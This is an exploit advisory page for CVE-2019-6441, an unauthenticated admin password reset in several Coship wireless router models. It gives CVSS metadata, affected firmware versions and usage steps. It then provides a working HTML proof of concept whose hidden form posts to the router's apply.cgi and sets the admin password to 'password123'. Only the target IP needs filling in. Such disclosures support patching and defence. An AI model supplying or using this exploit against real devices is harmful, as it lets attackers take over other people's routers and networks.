Coship Wireless Router Unauthenticated Admin Password Reset

2019.01.17

Credit: Adithyan AK

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2019-6441

CWE: CWE-255

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

<!--
# Exploit Title: Coship Wireless Router a Unauthenticated Admin Password Reset
# Date: 15.01.2019
# Exploit Author: Adithyan AK
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (Wifi Router)
# Affected Versions : Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
# Tested on: MacOS Mojave v.10.14
# CVE: CVE-2019-6441

# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
# Open Exploit.html with your Browser
# Click on aSubmit requesta
# Password of the admin will now be changed as "password123"

# PoC :
-->

<html>
  <!-- Change the X.X.X.X with the router's IP address -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://X.X.X.X/apply.cgi" method="POST">
      <input type="hidden" name="page" value="regx/management/accounts.asp" />
      <input type="hidden" name="http_username" value="admin" />
      <input type="hidden" name="http_passwd" value="password123" />
      <input type="hidden" name="usr_confirm_password" value="password123" />
      <input type="hidden" name="action" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

See this note in RAW Version

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Coship Wireless Router Unauthenticated Admin Password Reset

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